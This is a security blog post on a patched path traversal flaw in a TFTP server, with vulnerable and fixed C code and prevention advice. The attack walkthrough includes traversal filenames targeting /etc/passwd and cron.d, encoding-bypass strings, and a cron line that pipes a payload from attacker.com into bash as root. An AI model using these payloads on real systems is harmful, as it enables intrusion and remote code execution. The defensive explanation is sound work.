Back to Blog
critical SEVERITY12 min read

Path Traversal in TFTP Server: How Directory Traversal Bugs Enable Arbitrary File Writes

A critical path traversal vulnerability (CWE-22) was discovered and patched in a TFTP server implementation where unsanitized filenames in write requests could allow attackers to overwrite arbitrary files on the host filesystem. This post breaks down how the vulnerability worked, how it was exploited, and what developers can do to prevent similar issues in their own code.

O
By orbisai0security
•May 19, 2026
#security#path-traversal#cwe-22#c#tftp#filesystem#embedded-systems

Path Traversal in TFTP Server: How Directory Traversal Bugs Enable Arbitrary File Writes

Vulnerability ID: V-001 | Severity: šŸ”“ CRITICAL | CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)


Introduction

Imagine handing someone a key to a storage room and telling them they can only access shelf number three — but you never actually checked whether they could use that key to open every other room in the building. That's essentially what a path traversal vulnerability does in software.

A critical security flaw was recently identified and patched in tqftpserv.c, a TFTP (Trivial File Transfer Protocol) server implementation. The vulnerability allowed an unauthenticated attacker to supply a maliciously crafted filename in a write request and use directory traversal sequences to write arbitrary content to any location on the filesystem accessible to the service process.

For developers working on embedded systems, firmware update servers, network services, or anything that handles file paths derived from user input — this is a vulnerability pattern you need to understand deeply. It's deceptively simple, devastatingly impactful, and surprisingly common.


The Vulnerability Explained

What Is Path Traversal?

Path traversal (also known as directory traversal) is a class of vulnerability where an application uses user-controlled input to construct a filesystem path without properly validating or sanitizing it. By injecting special sequences like ../ (dot-dot-slash), an attacker can "climb" out of the intended directory and access or modify files elsewhere on the system.

In this case, the TFTP server was designed to handle firmware write requests (WRQ) from clients. The server would receive a filename from the client and use it — without validation — to determine where to write the incoming data.

The Technical Details

The vulnerability existed across two files:

  • tqftpserv.c (line 537): Processed incoming WRQ (Write Request) packets without validating or canonicalizing the requested filename.
  • translate.c: Performed unsanitized path concatenation, directly joining a base directory with the client-supplied filename string.

Here's a conceptual illustration of what the vulnerable code pattern looked like:

// VULNERABLE - Conceptual example of the flawed pattern
void handle_wrq(int sock, struct sockaddr *client, char *filename) {
    char filepath[PATH_MAX];

    // āŒ Directly concatenating user-supplied filename with no validation
    snprintf(filepath, sizeof(filepath), "%s/%s", BASE_DIR, filename);

    // āŒ No check that the resolved path stays within BASE_DIR
    // āŒ No canonicalization of the path
    // āŒ No authorization check for the requesting client

    FILE *fp = fopen(filepath, "wb");
    // ... write received data to fp
}

And in translate.c, the path building looked something like:

// VULNERABLE - Unsanitized path construction
char *build_path(const char *base, const char *requested) {
    char *result = malloc(strlen(base) + strlen(requested) + 2);
    // āŒ No canonicalization, no traversal detection
    sprintf(result, "%s/%s", base, requested);
    return result;
}

How Could It Be Exploited?

TFTP is a simple, UDP-based protocol with no built-in authentication. A client sends a WRQ packet containing the filename it wants to write. In this implementation, that filename was passed directly into the path construction logic.

An attacker on the network could send a WRQ request with a filename like:

../../etc/cron.d/malicious_job

Or more dangerously on embedded/IoT devices:

../../etc/passwd
../../etc/shadow
../../lib/firmware/device_fw.bin
../../etc/init.d/startup_script

Because the path was never canonicalized or validated to remain within the intended base directory, the server would happily resolve BASE_DIR/../../etc/passwd to /etc/passwd and begin writing attacker-controlled content to that file.

Three Compounding Problems

What made this vulnerability particularly severe was the combination of three missing controls:

  1. No filename validation: The server accepted any string as a valid filename, including sequences like ../, ..\\, or URL-encoded variants.
  2. No path canonicalization: The constructed path was never resolved to its absolute form and checked against the allowed base directory.
  3. No authorization check: There was no mechanism to verify whether a given client was permitted to write firmware files at all.

Real-World Impact

The real-world impact of this vulnerability is severe, particularly in the context where TFTP servers are commonly deployed:

Scenario Impact
Embedded/IoT devices Overwrite firmware, bootloader configs, or startup scripts to achieve persistent compromise
Network boot infrastructure Replace PXE boot images to deliver malicious OS images to booting machines
Industrial control systems Corrupt configuration files or PLCs firmware
General servers Overwrite cron jobs, SSH authorized_keys, sudoers, or service configurations

In the worst case, an attacker could achieve persistent remote code execution by overwriting an executable or configuration file that runs at system startup — all without any authentication.

Attack Scenario Walkthrough

Let's walk through a realistic attack:

Target: A network appliance running this TFTP server for firmware updates, where the service runs as root (common in embedded environments).

Attacker position: Same network segment (or any network if the TFTP port is exposed).

Step 1: Attacker sends a WRQ packet:

WRQ "../../etc/cron.d/backdoor" mode octet

Step 2: Server constructs path:

/var/tftp/firmware/../../etc/cron.d/backdoor
→ resolves to: /etc/cron.d/backdoor

Step 3: Attacker sends data blocks containing:

* * * * * root curl http://attacker.com/payload.sh | bash

Step 4: Within one minute, the cron daemon executes the attacker's payload as root.

Total time: Under 60 seconds. No credentials required.


The Fix

The patch addressed this vulnerability by introducing two critical controls in tqftpserv.c and translate.c:

1. Path Canonicalization and Jail Check

The fix uses realpath() (or an equivalent) to resolve the full, canonical path of the requested file before opening it, then verifies that the resolved path starts with the expected base directory:

// FIXED - Path validation with canonicalization
int handle_wrq(int sock, struct sockaddr *client, char *filename) {
    char filepath[PATH_MAX];
    char resolved[PATH_MAX];

    // Step 1: Construct the candidate path
    snprintf(filepath, sizeof(filepath), "%s/%s", BASE_DIR, filename);

    // Step 2: Resolve to canonical absolute path
    // realpath() resolves all symlinks, . and .. components
    if (realpath(filepath, resolved) == NULL) {
        // Path doesn't exist yet — resolve the parent directory instead
        // and reconstruct carefully
        log_error("Failed to resolve path: %s", filepath);
        return -1;
    }

    // Step 3: Verify the resolved path is within BASE_DIR
    // āœ… This is the critical check that prevents traversal
    if (strncmp(resolved, BASE_DIR, strlen(BASE_DIR)) != 0) {
        log_warning("Path traversal attempt detected: %s -> %s", 
                    filename, resolved);
        send_error(sock, client, EACCES, "Access denied");
        return -1;
    }

    // Step 4: Now safe to open the file
    FILE *fp = fopen(resolved, "wb");
    if (!fp) {
        send_error(sock, client, errno, "Cannot open file");
        return -1;
    }

    // ... proceed with write
    return 0;
}

2. Filename Sanitization in translate.c

The path construction in translate.c was updated to reject filenames containing traversal sequences before even attempting path construction:

// FIXED - Sanitized path construction
int is_safe_filename(const char *filename) {
    // āŒ Reject empty filenames
    if (!filename || strlen(filename) == 0) return 0;

    // āŒ Reject absolute paths
    if (filename[0] == '/') return 0;

    // āŒ Reject traversal sequences
    if (strstr(filename, "../") != NULL) return 0;
    if (strstr(filename, "..\\") != NULL) return 0;
    if (strcmp(filename, "..") == 0) return 0;

    // āŒ Reject null bytes (path truncation attacks)
    if (memchr(filename, '\0', strlen(filename) + 1) != filename + strlen(filename))
        return 0;

    return 1; // āœ… Filename appears safe
}

char *build_path(const char *base, const char *requested) {
    // āœ… Validate before constructing
    if (!is_safe_filename(requested)) {
        log_warning("Rejected unsafe filename: %s", requested);
        return NULL;
    }

    char *result = malloc(strlen(base) + strlen(requested) + 2);
    if (!result) return NULL;

    sprintf(result, "%s/%s", base, requested);
    return result;
}

Why This Fix Works

The defense is layered — which is exactly how security controls should be applied:

  • Layer 1 (translate.c): Reject obviously malicious filenames early, before any filesystem operations occur. This is fast and catches the most common attack patterns.
  • Layer 2 (tqftpserv.c): Even if a traversal sequence somehow slips through (e.g., encoded variants, symlink-based attacks), the canonical path is resolved and verified against the base directory. This is the definitive check.

The combination ensures that even if an attacker finds a way to bypass the string-based check in Layer 1, Layer 2 will catch the actual filesystem-level traversal.

āš ļø Important Note on realpath(): When the target file doesn't yet exist (which is common for write requests), realpath() will fail. The fix should handle this by resolving the parent directory canonically and then appending only the basename of the requested file — ensuring both that the parent is within bounds and that the final filename component contains no path separators.


Prevention & Best Practices

Core Principles for Safe File Path Handling

1. Never trust user-supplied path components

Treat any filename or path that comes from a network client, user input, environment variable, or configuration file as untrusted. Always validate before use.

2. Use allowlists, not denylists

The sanitization function above uses a denylist (blocking ../, /, etc.). While this is a good first layer, it's inherently incomplete — there are many encoding tricks attackers use:
- URL encoding: %2e%2e%2f → ../
- Double encoding: %252e%252e%252f
- Unicode: ..%c0%af (overlong UTF-8 slash)
- Null bytes: filename.txt\x00../../../etc/passwd

A stronger approach is to allowlist only the characters you expect in valid filenames:

int is_valid_filename_strict(const char *filename) {
    if (!filename || strlen(filename) == 0) return 0;
    if (strlen(filename) > 255) return 0; // Reasonable length limit

    // āœ… Only allow alphanumeric, hyphen, underscore, dot
    // Adjust this regex/character set for your use case
    for (const char *p = filename; *p; p++) {
        if (!isalnum(*p) && *p != '-' && *p != '_' && *p != '.') {
            return 0;
        }
    }

    // āœ… Disallow leading dots (hidden files / relative refs)
    if (filename[0] == '.') return 0;

    return 1;
}

3. Always canonicalize and verify

After constructing a path, always resolve it to its canonical form and verify it falls within your intended directory:

// The canonical path jail check — always do this
int path_is_within_base(const char *base, const char *path) {
    char canonical_base[PATH_MAX];
    char canonical_path[PATH_MAX];

    if (!realpath(base, canonical_base)) return 0;
    if (!realpath(path, canonical_path)) return 0;

    // Ensure base ends with / for prefix matching
    size_t base_len = strlen(canonical_base);
    if (canonical_base[base_len - 1] != '/') {
        canonical_base[base_len] = '/';
        canonical_base[base_len + 1] = '\0';
        base_len++;
    }

    return strncmp(canonical_path, canonical_base, base_len) == 0;
}

4. Apply the Principle of Least Privilege

The TFTP server had no authorization check — any client could write any file. Even after fixing path traversal, consider:
- Should all clients be able to write files, or only specific ones?
- Should the service run as a dedicated low-privilege user rather than root?
- Should write operations be limited to specific file extensions (e.g., .bin, .fw)?

5. Log and alert on suspicious activity

Even if an attack is blocked, you want to know about it:

if (!path_is_within_base(BASE_DIR, resolved_path)) {
    // Log with enough context for forensics
    log_security_event(
        "PATH_TRAVERSAL_ATTEMPT",
        "client=%s requested_file=%s resolved_path=%s",
        client_addr_str, filename, resolved_path
    );
    send_error_response(client, EACCES);
    return -1;
}

Tools and Techniques to Detect Path Traversal

Tool/Technique Type Notes
CodeQL Static Analysis Excellent taint tracking for path traversal in C/C++, Java, Python
Semgrep Static Analysis Fast, customizable rules; many path traversal rules available
AFL++ / libFuzzer Fuzzing Feed malformed filenames; great for finding edge cases
OWASP ZAP Dynamic Testing Automated path traversal probes for web-exposed services
Burp Suite Dynamic Testing Manual + automated traversal testing for HTTP services
Valgrind/AddressSanitizer Memory Safety Catches buffer overflows that can accompany path bugs
chroot / containers Runtime Defense Even if traversal succeeds, limits filesystem access
seccomp / AppArmor Runtime Defense Restrict which filesystem paths the process can access at OS level

Relevant Security Standards and References


Conclusion

Path traversal vulnerabilities are a timeless class of bug — they've been in the OWASP Top 10 for decades, yet they continue to appear in production code. The reason is simple: it's easy to write code that works without thinking about what happens when the input is adversarial.

The key takeaways from this vulnerability and its fix:

  1. User-supplied filenames are untrusted input — always treat them that way, regardless of the protocol or context.
  2. Defense in depth works: The fix applied both early rejection (filename sanitization) and a definitive filesystem-level check (canonical path verification). Neither alone is sufficient.
  3. Missing authorization is a force multiplier: Path traversal combined with no access controls meant the attack required zero credentials and zero prior knowledge of the system.
  4. Least privilege limits blast radius: If the TFTP service ran as a dedicated user with access only to the firmware directory, even a successful traversal would have limited impact.
  5. Detection matters: Log suspicious path inputs. Blocked attacks are still valuable signals.

Security is not about writing perfect code — it's about building systems that are hard to exploit even when individual components have flaws. Validate inputs early, enforce boundaries at the filesystem level, apply least privilege, and monitor for anomalies.

If you're building any service that handles file paths derived from external input — whether it's a TFTP server, a web application, a build system, or an IoT firmware updater — take 30 minutes today to audit how you construct and validate those paths. It might be the most valuable 30 minutes you spend this month.


This fix was identified and patched automatically by OrbisAI Security. Automated security scanning can catch these issues before they reach production — consider integrating security scanning into your CI/CD pipeline.


Have questions about path traversal or secure file handling? Drop a comment below or reach out to our security team.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #44

Related Articles

critical

Stack Buffer Overflow in C: How a Missing Bounds Check Almost Broke Everything

A critical stack buffer overflow vulnerability was discovered and patched in `packages/gscope4/src/main.c`, where multiple unchecked `sprintf()` calls allowed an attacker-controlled environment variable to overflow fixed-size buffers. Left unpatched, this flaw could enable local privilege escalation or arbitrary code execution — a stark reminder of why bounds checking in C is non-negotiable.

critical

Heap Buffer Overflow in C: How a 1024-Byte Assumption Almost Broke Everything

A critical heap buffer overflow vulnerability was discovered and patched in `packages/gscope/src/browser.c`, where a hardcoded 1024-byte buffer was used to store source file content and symbol names without any bounds checking. An attacker or malformed input exceeding this limit could corrupt adjacent heap memory, potentially leading to code execution or application crashes. This post breaks down how the vulnerability worked, why it matters, and how to prevent similar issues in your own C code.

critical

Heap Buffer Overflow in BLE Stack: How a Missing Bounds Check Could Let Attackers Crash or Hijack Devices

A critical heap buffer overflow vulnerability was discovered and patched in `ble_spam.c`, where two consecutive `memcpy` calls copied attacker-controlled data into fixed-size heap buffers without validating the copy length first. An attacker within Bluetooth range could exploit this flaw to crash the target device, corrupt memory, or potentially execute arbitrary code — all without any authentication. The fix adds a proper bounds check before the copy operations, ensuring the length derived from